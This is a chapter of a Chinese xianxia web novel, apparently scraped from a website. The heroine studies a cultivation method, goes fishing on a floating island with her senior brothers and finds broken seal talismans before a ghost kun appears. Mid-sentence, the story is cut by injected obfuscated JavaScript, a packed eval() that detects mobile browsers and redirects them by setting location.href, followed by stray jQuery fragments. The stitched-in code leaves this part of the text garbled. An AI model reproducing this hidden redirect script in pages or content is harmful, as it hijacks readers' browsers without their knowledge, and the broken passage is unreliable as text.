23.玲珑骨(六)

作品:《就你有师兄?

    留影石在空中投射出一道光幕,光幕上盘坐着一道仙风道骨的身影,其声线平稳,声韵悠长,字字端正清晰。


    容星阑心道:难怪陈辞大字不识也可习得功法,原来做剑君根本不需识字。


    只是道隐真人寻常看起来不甚古板,授起心法时犹如大儒传课、和尚念经,语调平平而绵长,不疾不徐,毫无顿挫。


    容星阑起先还能打起精神,越听越困,头越垂越低,下巴垂碰到木桌时,一道竖尺在头上直直落下,敲得她瞬间坐直,双目瞪大,又作专注听课状。


    “凝神。”陈辞的声音自屋中传来。


    陈辞在屋中闭目打坐,却能精准抓到她打瞌睡,每次在她将要睡着之际,竖尺凭空落下,一尺下来,容星阑只觉神魂一震,不得不听讲。


    她憋屈烦闷,却又只能打起精神,道隐真人说完一句,趁其停顿,她跟着念一句,如小儿学舌。


    就这样学了一两个时辰,她总算等来了救兵,吊桥上行来一道随性散漫的身影,正是二师兄清元。


    他悠悠走近,道:“小师妹,在学心法呀。”


    “二师兄。”容星阑拈起帕子轻轻咳嗽两声,“既拜入昆吾,断不能丢了剑君的风骨,便是身体疼痛难忍,也不应荒废一刻时辰。”


    清元在木桌前一坐:“小师妹有此觉悟,当真极好。既然如此,你背吧,我在这里看着。”


    容星阑:“……”


    当真一点都不懂得怜香惜玉。


    她只好硬着头皮继续背下去,道隐一句她一句。有人在旁盯着,起先还如芒在背,然而不敌道隐的声音过于平直,实在催眠,背上一会儿,又开始小鸡啄米。


    竖尺还未落下,容星阑听到一声毫不掩饰的轻笑。


    清元手中把玩着一块自带的留音石,见她犯困,既不出言提醒,也不以竖尺诫示,只是她一小鸡啄米,他就笑。笑便罢了,还笑出声,传到容星阑耳朵里,只觉笑声中暗含几分讥诮。


    她耳面绯红,不由奋发抖擞,聚精会神地念背起来。一通念背之下,只觉四周的灵气似乎受到牵引,渐渐汇入体内,一寸一寸地涤净灵根,流经经脉,不觉中运转一个小周天。


    然而灵气未能储进丹田,又散出去。即便如此,也能感受到霎时身轻如燕,体内浊气散出,竟与吞食月华、修炼阴魂一般有去浊顺清之效。


    容星阑感知到心法之能,更为认真专注,念背一个下午,背下第一篇。


    留影石影像隐去,清元抚掌:“好极!”


    他怡然道:“此心法为道祖所创,师父取其精华传授于弟子,修者习之,有助于引气入体,净涤灵根,利日后修行。便是一窍不通的凡人习得,亦可排浊提清,延年益寿。”


    容星阑大为受教:“难怪。”


    清元又道:“小师妹可觉疲累?”


    容星阑捧胸轻咳,却道:“不累。”


    清元扬眉赞许:“世人羡仙,却不知即便身负灵根,也需付出十年如一日的苦修,只是背一背心法,确实不累。”


    “若想习得一门本事,须要沉心静气、心无旁骛、心志坚定、聚精凝神,磨炼十年、百年、千年,方在此道上有所超出旁人的进益。此为万般道法之基。”


    容星阑思及自己前世修行万象符之时,亦是如此。她被困缚于尸身所在之地,只是一介成型的野鬼,无事可做,便日复一日地练画阴符。


    鬼魂之身无需休眠,她便夜以继日,一刻不休,一张符文练画千次、万次,方得其精,得以结成符印,习得一符。


    她心悦诚服,虚心道:“二师兄教诲,星阑记下了。”


    *


    日子一晃,八十一日过去一半。


    一个多月来,容星阑晨起由陈辞推引灵气,祛体内毒素。下午背诵心法,清元在旁盯看着,时不时补充心法要义。


    常昭安在夜间禀告几回,却也未打听到有用的讯息。容星阑命他继续盯着,若有信息再来禀报。


    日子虽充实,久了便有些无聊。这日背好心法,清元道:“小师妹,要不要一起去找点乐子?”


    容星阑双眼一亮:“我可以出流素峰了?”


    清元:“非也,师父交代。你体内毒素一日未除尽,便一日不能出流素峰。峰外师兄师姐们热情莽撞,你招架不住。”


    容星阑眼神黯淡,环视流素峰内:“那我们去何处找乐子?”


    清元下巴一抬,看向九天悬瀑:“那里。”


    清元的本命佩剑是一把水蓝色的剑,剑身流溢着潋光,唤作上善剑。他拔出上善剑,剑悬于地面,陡然变大,清元率先跳上去,道:“师妹,上!”


    容星阑跃跃欲试,两世来,她还从未感受过御剑飞行的滋味。她扭头看了一眼在屋内闭眼打坐的陈辞,没有立即跳上去,问道:“要不要叫上小师兄?”


    清元:“你叫的动便叫,他闷葫芦一个……”


    还未说完,容星阑朝着屋内大叫一声:“小师兄!”


    陈辞瞬间睁眼,闪瞬到了门外,似乎就等着人喊,道:“何事?”


    清元:“……”


    好你个三师弟,原来还有两幅面孔。


    容星阑指了指九天悬瀑:“二师兄带我们出去玩,去不去?”


    清元揶揄着看他:“师弟,日日练剑打坐,一起去透透气。”


    陈辞看了眼悬瀑,拔出佩剑。他的剑名为虚室,通体雪白无垠,剑如其主,干净不惹尘埃。他跃至剑上,剑身留出些许空余。


    容星阑见他整装待飞,跳到在旁候了多时的清元身后。


    清元朗声道:“师妹,抓稳了!”


    陈辞看着冲天而与的剑影,默然御剑,疾行而上。


    飞剑咻然腾空,直冲云霄。两剑并行,剑风凌凌,发丝向后飞扬,容星阑抓紧清元向后飘扬的道袍,瞬息已至山水之上,她不由向下看去。


    山高水远,然而在剑上看,也不过尺寸之间。


    清元在高空中兜转几圈,冲上悬瀑,容星阑这才看见,悬河虽奔腾于云间,在悬河两侧,亦有野草蔓生的河岸。便是在大河中央,亦有几处生机盎然的浮岛。


    上善剑猛扎下去,引得容星阑惊叫连连,清元大笑,停在一处浮岛上。


    河水滔滔不绝,浮岛上另有一片天地,岛中竟有一些清潭,潭水透彻,不仅有卵石,还有一些潭鱼。


    容星阑兴奋不已,许久未透气,难免显出几分在凡尘时的恣意,拾起一块卵石,不觉使出魂力,在悬河上打起水漂。


    水漂在湍急的河水中连跃数尺,清元笑道:“好手法!”


    容星阑以手捂嘴,假意消耗不少体力,轻咳两声。


    陈辞架起火堆,清元用剑意削了根鱼叉,容星阑道:“师兄,怎么不直接用剑?”


    清元撩起道袍,道:“用剑有什么意思,叉鱼自然要用鱼叉才有乐子。”


    此言甚得她心,她指着潭中一条藏在石头上的鱼道:“在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035025|193063||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那!”


    连叉了几条,三人围坐一团,悬河之水滔滔,河面清风凉爽,肉香味随风散开,清元道:“师弟,想不到你还有此等妙艺!”


    就见那烤的焦黄酥嫩的河鱼径直穿过他身前,递给容星阑,容星阑欣然接过,下意识唤了声:“谢谢阿辞哥哥!”


    清元翻眼,语调怪异:“谢谢阿辞哥哥~”


    容星阑闻言一呛,咳嗽连连,陈辞递给清元一只烤鱼,沉静的语气含了一分无奈:“师兄。”


    清元嬉笑地接过鱼,吸一口鱼肉的香味:“嗯,真香。”


    三人一人一鱼,吹着河风。凡尘往事皆散,只有几人时不时的笑闹声。


    容星阑吃完鱼,仍不过瘾,在潭边翻找卵石,准备再打几记水漂。


    这个卵石太圆,容星阑将它往边上一抛,这个卵石太小,她又一抛,忽然,她翻找的动作一顿。


    卵石翻到底,水中一块平整的大石块上似乎刻着什么字,在水波下闪着微光。


    “这是什么?”清元在她身侧,凑近看,“像被人随手画的涂鸦画。”


    他丝毫未察觉容星阑身姿僵住,奇道:“悬河浮岛上怎么会有这种东西,难道是大师兄闲来无事,在石上画的?”


    容星阑只觉呼吸骤停,神思混乱,有如被重锤击中,脑海中一片空白,手脚冰凉。


    这竟是……阴符。


    *


    阖户谓之坤,此乃一道坤符,用于镇压某物,或封闭某种强大的空间通道,乃《万象符》符书中倒数第二道符文,符力强悍,她练画整整三百年才学会。


    容星阑稳住心神,扒开其他地方的卵石,潭沙流过,显出无数个刻着坤符的大石块。


    全是坤符。


    只是符文中多了一道剑气,这道剑气破坏了坤符蕴藏的符印。


    她暗自惊疑:这么多道坤符,是在镇压什么?又为何被人全然破坏?


    清元疑道:“诶?怎么还有,怎么这么多!”


    陈辞此刻眉心紧皱,似发现什么异动,侧身凝神,向悬河源头看去。


    刹那间,湍急的河水翻腾汹涌,浮岛颤震,似河底崩裂,容星阑撑地后望。


    清元喃喃:“那是个什么东西?”


    悬河宽如大江,掀起一道千顷的水墙,水墙脱落,一只如山般巍峨高大的巨型鱼头跃出,鱼尾拍水,河浪朝着三人排山倒海而来。


    三人反应极快,陈辞揽过容星阑御剑后退数里,清元踩剑向后疾退,堪堪躲过河浪。


    清元道:“是鲲。”


    鲲生北冥,化形于东海,断然不会出现九天悬河之上。


    更何况,九州灵气稀薄,北冥之鲲,远不及眼前之鲲巨大。


    陈辞眸色暗沉:“这不是北冥的鲲。”


    他的目光掠过在悬河上跳跃的大鲲,直直看向悬河源头。


    那里万里无云,霞光万丈,悬河自虚空中奔腾而来。昆吾祖传,悬河是从大九州流下来的灵河。


    悬河流经之地,孕育灵土、凝结灵脉,九州修者得以修行。


    只是大九州的存在并无证实,毕竟谁也未曾到往,究竟有没有只有道祖知晓。


    而道祖已仙逝千年。


    容星阑不知他们二人作何猜想,看到大鲲之时,她面色剧变。


    大鲲周身萦绕着无数道冲天怨气,那双巨大的鱼眼中阴气森森,毫无生机。


    这根本不是鲲。


    而是一条鬼鲲。